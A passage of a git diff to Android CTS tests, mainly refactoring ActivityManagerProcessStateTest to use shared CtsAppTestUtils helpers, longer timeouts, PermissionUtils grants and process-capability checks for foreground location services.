+ .setOpNames(Arrays.asList(AppOpsManager.OPSTR_COARSE_LOCATION))
+ .setFlags(OP_FLAGS_ALL)
+ .build();
+ sAppOps.getHistoricalOps(histOpsRequest, sContext.getMainExecutor(), ops::complete);
+ HistoricalOp hOp = ops.get(5000, TimeUnit.MILLISECONDS)
+ .getUidOps(sUid).getPackageOps(PACKAGE_NAME)
+ .getOp(AppOpsManager.OPSTR_COARSE_LOCATION);
+ // granted access one time in UID_STATE_FOREGROUND_SERVICE.
+ assertEquals(NOTEOP_COUNT, hOp.getAccessCount(UID_STATE_FOREGROUND_SERVICE,
+ UID_STATE_FOREGROUND_SERVICE, AppOpsManager.OP_FLAGS_ALL));
+ assertEquals(NOTEOP_COUNT, hOp.getForegroundAccessCount(AppOpsManager.OP_FLAGS_ALL));
+ assertEquals(0, hOp.getForegroundRejectCount(AppOpsManager.OP_FLAGS_ALL));
+ assertEquals(0, hOp.getBackgroundAccessCount(AppOpsManager.OP_FLAGS_ALL));
+ // denied access one time in background.
+ assertEquals(NOTEOP_COUNT, hOp.getBackgroundRejectCount(AppOpsManager.OP_FLAGS_ALL)); }
+ );
+ }
+
+ private int noteOp() throws Exception {
+ return callWithShellPermissionIdentity(
+ () -> sAppOps.noteOp(AppOpsManager.OPSTR_COARSE_LOCATION, sUid, PACKAGE_NAME,
+ "Op OPSTR_COARSE_LOCATION", ""));
+ }
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 5adfac8..ac50181 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -16,6 +16,9 @@
package android.app.cts;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_FOREGROUND_LOCATION;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_NONE;
import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED;
import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND;
import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE;
@@ -27,7 +30,6 @@
import android.app.ActivityManager;
import android.app.AppOpsManager;
import android.app.Instrumentation;
-import android.app.KeyguardManager;
import android.app.cts.android.app.cts.tools.ServiceConnectionHandler;
import android.app.cts.android.app.cts.tools.ServiceProcessController;
import android.app.cts.android.app.cts.tools.SyncOrderedBroadcast;
@@ -48,9 +50,9 @@
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
-import android.os.PowerManager;
import android.os.RemoteException;
import android.os.SystemClock;
+import android.permission.cts.PermissionUtils;
import android.server.wm.WindowManagerState;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -59,9 +61,6 @@
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.CommonTestUtils;
import com.android.compatibility.common.util.SystemUtil;
public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -76,8 +75,8 @@
PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, PACKAGE_NAME_APP3
};
- private static final int WAIT_TIME = 2000;
- private static final int WAITFOR_MSEC = 5000;
+ private static final int WAIT_TIME = 10000;
+ private static final int WAITFOR_MSEC = 10000;
// A secondary test activity from another APK.
static final String SIMPLE_PACKAGE_NAME = "com.android.cts.launcherapps.simpleapp";
static final String SIMPLE_SERVICE = ".SimpleService";
@@ -146,7 +145,7 @@
mContext.stopService(mServiceIntent);
mContext.stopService(mService2Intent);
mContext.stopService(mService3Intent);
- turnScreenOn();
+ CtsAppTestUtils.turnScreenOn(mInstrumentation, mContext);
removeTestAppFromWhitelists();
mAppCount = 0;
}
@@ -171,44 +170,11 @@
}
}
- private void turnScreenOn() throws Exception {
- executeShellCmd("input keyevent KEYCODE_WAKEUP");
- executeShellCmd("wm dismiss-keyguard");
- /*
- Wait until the screen becomes interactive to start the test cases.
- Otherwise the procstat may start in TOP_SLEEPING state, and this
- causes test case testBackgroundCheckActivityService to fail.
- Note: There could still a small chance the procstat is TOP_SLEEPING
- when the predicate returns true.
- */
- CommonTestUtils.waitUntil("Device does not wake up after 5 seconds",
- 5,
- () -> {
- return isScreenInteractive() && !isKeyguardLocked();
- });
- }
-
private void removeTestAppFromWhitelists() throws Exception {
- executeShellCmd("cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME);
- executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
- }
-
- private String executeShellCmd(String cmd) throws Exception {
- final String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
- Log.d(TAG, String.format("Output for '%s': %s", cmd, result));
- return result;
- }
-
- private boolean isScreenInteractive() {
- final PowerManager powerManager =
- (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
- return powerManager.isInteractive();
- }
-
- private boolean isKeyguardLocked() {
- final KeyguardManager keyguardManager =
- (KeyguardManager) mContext.getSystemService(Context.KEYGUARD_SERVICE);
- return keyguardManager.isKeyguardLocked();
+ CtsAppTestUtils.executeShellCmd(mInstrumentation,
+ "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME);
+ CtsAppTestUtils.executeShellCmd(mInstrumentation,
+ "cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
}
private void waitForAppFocus(String waitForApp, long waitTime) {
@@ -236,7 +202,7 @@
}
private void startActivityAndWaitForShow(final Intent intent) throws Exception {
- getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+ mInstrumentation.getUiAutomation().executeAndWaitForEvent(
() -> {
try {
mContext.startActivity(intent);
@@ -273,7 +239,7 @@
UidImportanceListener uidForegroundListener = new UidImportanceListener(mContext,
appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_SERVICE, WAIT_TIME);
- InstrumentationRegistry.getInstrumentation().getUiAutomation().revokeRuntimePermission(
+ PermissionUtils.revokePermission(
STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
boolean gotException = false;
try {
@@ -283,12 +249,12 @@
}
assertTrue("Expected SecurityException thrown", gotException);
- InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ PermissionUtils.grantPermission(
STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
/*
Log.d("XXXX", "Invoke: " + cmd);
Log.d("XXXX", "Result: " + result);
- Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+ Log.d("XXXX", SystemUtil.runShellCommand(mInstrumentation, "dumpsys package "
+ STUB_PACKAGE_NAME));
*/
uidForegroundListener.register();
@@ -297,7 +263,7 @@
appInfo.uid, IMPORTANCE_CACHED, WAIT_TIME);
uidGoneListener.register();
- WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
+ WatchUidRunner uidWatcher = new WatchUidRunner(mInstrumentation, appInfo.uid,
WAIT_TIME);
try {
@@ -441,12 +407,12 @@
ActivityManager am = mContext.getSystemService(ActivityManager.class);
- InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ PermissionUtils.grantPermission(
STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
/*
Log.d("XXXX", "Invoke: " + cmd);
Log.d("XXXX", "Result: " + result);
- Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+ Log.d("XXXX", SystemUtil.runShellCommand(mInstrumentation, "dumpsys package "
+ STUB_PACKAGE_NAME));
*/
@@ -460,7 +426,7 @@
appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY, WAIT_TIME);
uidGoneListener.register();
- WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
+ WatchUidRunner uidWatcher = new WatchUidRunner(mInstrumentation, appInfo.uid,
WAIT_TIME);
// First kill the process to start out in a stable state.
@@ -483,7 +449,7 @@
uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// This is a side-effect of the app op command.
uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
@@ -491,11 +457,11 @@
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// Make sure app is not yet on whitelist
cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// We will use this to monitor when the service is running.
conn.startMonitoring();
@@ -515,7 +481,7 @@
// Put app on temporary whitelist to see if this allows the service start.
cmd = String.format("cmd deviceidle tempwhitelist -d %d %s",
TEMP_WHITELIST_DURATION_MS, SIMPLE_PACKAGE_NAME);
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// Try starting the service now that the app is whitelisted... should work!
mContext.startService(serviceIntent);
@@ -533,7 +499,8 @@
uidWatcher.expect(WatchUidRunner.CMD_CACHED, null);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
- executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
+ CtsAppTestUtils.executeShellCmd(mInstrumentation,
+ "cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
// Going off the temp whitelist causes a spurious proc state report... that's
// not ideal, but okay.
@@ -541,7 +508,7 @@
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
@@ -559,7 +526,7 @@
// Now put app on whitelist, should allow service to run.
cmd = "cmd deviceidle whitelist +" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// Try starting the service now that the app is whitelisted... should work!
mContext.startService(serviceIntent);
@@ -582,9 +549,9 @@
uidWatcher.finish();
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
uidGoneListener.unregister();
uidForegroundListener.unregister();
@@ -606,12 +573,12 @@
ActivityManager am = mContext.getSystemService(ActivityManager.class);
- InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ PermissionUtils.grantPermission(
STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
/*
Log.d("XXXX", "Invoke: " + cmd);
Log.d("XXXX", "Result: " + result);
- Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+ Log.d("XXXX", SystemUtil.runShellCommand(mInstrumentation, "dumpsys package "
+ STUB_PACKAGE_NAME));
*/
@@ -625,7 +592,7 @@
appInfo.uid, IMPORTANCE_CACHED, WAIT_TIME);
uidGoneListener.register();
- WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
+ WatchUidRunner uidWatcher = new WatchUidRunner(mInstrumentation, appInfo.uid,
WAIT_TIME);
// First kill the process to start out in a stable state.
@@ -657,7 +624,7 @@
uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// This is a side-effect of the app op command.
uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
@@ -665,11 +632,11 @@
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// Make sure app is not yet on whitelist
cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// We will use this to monitor when the service is running.
conn.startMonitoring();
@@ -727,7 +694,7 @@
// Force app to go idle now
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
// Wait for services to be stopped by system.
uidServiceListener.waitForValue(IMPORTANCE_CACHED,
@@ -753,9 +720,9 @@
uidWatcher.finish();
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
uidGoneListener.unregister();
uidServiceListener.unregister();
@@ -774,8 +741,10 @@
broadcastIntent.setClassName(SIMPLE_PACKAGE_NAME,
SIMPLE_PACKAGE_NAME + SIMPLE_RECEIVER_START_SERVICE);
+ PermissionUtils.grantPermission(
+ STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
final ServiceProcessController controller = new ServiceProcessController(mContext,
- getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
+ mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
mServiceIntent, WAIT_TIME);
final WatchUidRunner uidWatcher = controller.getUidWatcher();
@@ -904,8 +873,10 @@
SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY_START_SERVICE);
activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ PermissionUtils.grantPermission(
+ STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
final ServiceProcessController controller = new ServiceProcessController(mContext,
- getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
+ mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
mServiceIntent, WAIT_TIME);
final WatchUidRunner uidWatcher = controller.getUidWatcher();
@@ -927,14 +898,15 @@
waiter.prepare(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
activityIntent.putExtra("service", mServiceIntent);
mContext.startActivity(activityIntent);
- Intent resultIntent = waiter.doWait(WAIT_TIME);
+ Intent resultIntent = waiter.doWait(WAIT_TIME * 2);
int brCode = resultIntent.getIntExtra("result", Activity.RESULT_CANCELED);
if (brCode != Activity.RESULT_FIRST_USER) {
fail("Failed starting service, result=" + brCode);
}
conn.waitForConnect();
- final String expectedActivityState = (isScreenInteractive() && !isKeyguardLocked())
+ final String expectedActivityState = (CtsAppTestUtils.isScreenInteractive(mContext)
+ && !CtsAppTestUtils.isKeyguardLocked(mContext))
? WatchUidRunner.STATE_TOP : WatchUidRunner.STATE_TOP_SLEEPING;
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null);
@@ -985,9 +957,11 @@
* Test that the foreground service app op does prevent the foreground state.
*/
public void testForegroundServiceAppOp() throws Exception {
+ PermissionUtils.grantPermission(
+ STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
// Use default timeout value 5000
final ServiceProcessController controller = new ServiceProcessController(mContext,
- getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses);
+ mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses);
// Use default timeout value 5000
final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
mServiceIntent);
@@ -1081,7 +1055,8 @@
uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null);
uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
// Remove tempwhitelist avoid temp white list block idle command and app crash occur.
- executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
+ CtsAppTestUtils.executeShellCmd(mInstrumentation,
+ "cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
// Good, now stop the service and wait for it to go away.
mContext.stopService(mServiceStartForegroundIntent);
conn.waitForDisconnect();
@@ -1147,6 +1122,8 @@
SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY_START_FG_SERVICE)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ PermissionUtils.grantPermission(
+ STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
final ServiceProcessController controller = new ServiceProcessController(mContext,
getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
final WatchUidRunner uidWatcher = controller.getUidWatcher();
@@ -1249,12 +1226,12 @@
ActivityManager am = mContext.getSystemService(ActivityManager.class);
- InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ PermissionUtils.grantPermission(
STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
// We don't want to wait for the uid to actually go idle, we can force it now.
String cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
CANT_SAVE_STATE_1_PACKAGE_NAME, 0);
@@ -1269,11 +1246,15 @@
appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE-1,
WAIT_TIME);
uidBackgroundListener.register();
+ UidImportanceListener uidCachedListener = new UidImportanceListener(mContext,
+ appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_CANT_SAVE_STATE + 1,
+ WAIT_TIME);
+ uidCachedListener.register();
- WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
+ WatchUidRunner uidWatcher = new WatchUidRunner(mInstrumentation, appInfo.uid,
WAIT_TIME);
- UiDevice device = UiDevice.getInstance(getInstrumentation());
+ UiDevice device = UiDevice.getInstance(mInstrumentation);
try {
// Start the heavy-weight app, should launch like a normal app.
@@ -1311,7 +1292,7 @@
// While in background, should go in to normal idle state.
// Force app to go idle now
cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
// Switch back to heavy-weight app to see if it correctly returns to foreground.
@@ -1333,29 +1314,30 @@
device.waitForIdle();
// Exit activity, check to see if we are now cached.
- getInstrumentation().getUiAutomation().performGlobalAction(
+ mInstrumentation.getUiAutomation().performGlobalAction(
AccessibilityService.GLOBAL_ACTION_BACK);
// Wait for process to become cached
- uidBackgroundListener.waitForValue(
+ uidCachedListener.waitForValue(
IMPORTANCE_CACHED,
IMPORTANCE_CACHED);
assertEquals(IMPORTANCE_CACHED,
am.getPackageImportance(CANT_SAVE_STATE_1_PACKAGE_NAME));
uidWatcher.expect(WatchUidRunner.CMD_CACHED, null);
- uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+ uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
// While in background, should go in to normal idle state.
// Force app to go idle now
cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
} finally {
uidWatcher.finish();
uidForegroundListener.unregister();
uidBackgroundListener.unregister();
+ uidCachedListener.unregister();
}
}
@@ -1385,25 +1367,25 @@
homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
ActivityManager am = mContext.getSystemService(ActivityManager.class);
- UiDevice device = UiDevice.getInstance(getInstrumentation());
+ UiDevice device = UiDevice.getInstance(mInstrumentation);
- InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ PermissionUtils.grantPermission(
STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
// We don't want to wait for the uid to actually go idle, we can force it now.
String cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
cmd = "am make-uid-idle " + CANT_SAVE_STATE_2_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
CANT_SAVE_STATE_1_PACKAGE_NAME, 0);
- WatchUidRunner uid1Watcher = new WatchUidRunner(getInstrumentation(), app1Info.uid,
+ WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
WAIT_TIME);
ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
CANT_SAVE_STATE_2_PACKAGE_NAME, 0);
- WatchUidRunner uid2Watcher = new WatchUidRunner(getInstrumentation(), app2Info.uid,
+ WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
WAIT_TIME);
try {
@@ -1459,7 +1441,7 @@
// Make sure the original app is idle for cleanliness
cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
uid1Watcher.expect(WatchUidRunner.CMD_IDLE, null);
// Return to home.
@@ -1497,16 +1479,16 @@
// Exit activity, check to see if we are now cached.
waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
device.waitForIdle();
- getInstrumentation().getUiAutomation().performGlobalAction(
+ mInstrumentation.getUiAutomation().performGlobalAction(
AccessibilityService.GLOBAL_ACTION_BACK);
uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
- uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
// Make both apps idle for cleanliness.
cmd = "am make-uid-idle " + CANT_SAVE_STATE_1_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
cmd = "am make-uid-idle " + CANT_SAVE_STATE_2_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ result = SystemUtil.runShellCommand(mInstrumentation, cmd);
} finally {
uid2Watcher.finish();
@@ -1561,13 +1543,13 @@
// Check that the app's proc state has fallen
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
-
+ } finally {
// Clean up: unbind services to avoid from interferences with other tests
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+ PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
- } finally {
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+
uid1Watcher.finish();
uid3Watcher.finish();
}
@@ -1642,16 +1624,16 @@
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
-
+ } finally {
// Clean up: unbind services to avoid from interferences with other tests
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+ PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+ PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
// Stop the foreground service
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
- } finally {
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
uid1Watcher.finish();
uid2Watcher.finish();
uid3Watcher.finish();
@@ -1718,19 +1700,19 @@
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
-
+ } finally {
// Clean up: unbind services to avoid from interferences with other tests
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+ PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP3, PACKAGE_NAME_APP2, 0, null);
+ PACKAGE_NAME_APP3, PACKAGE_NAME_APP2, 0, null);
CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
- PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
- } finally {
+ PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+
uid1Watcher.finish();
uid2Watcher.finish();
uid3Watcher.finish();
@@ -1739,8 +1721,8 @@
/**
* Test process states for foreground service with and without location type in the manifest.
- * When running a foreground service with location type, the process should go to
- * PROCESS_STATE_FOREGROUND_SERVICE_LOCATION.
+ * When running a foreground service with location type, the process will have
+ * PROCESS_CAPABILITY_FOREGROUND_LOCATION.
* @throws Exception
*/
public void testFgsLocation() throws Exception {
@@ -1754,7 +1736,9 @@
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_NONE));
// Try to elevate to foreground service location
Bundle bundle = new Bundle();
@@ -1764,13 +1748,16 @@
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
- WatchUidRunner.STATE_FG_SERVICE_LOCATION);
+ WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
// Back down to foreground service
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_FG_SERVICE,
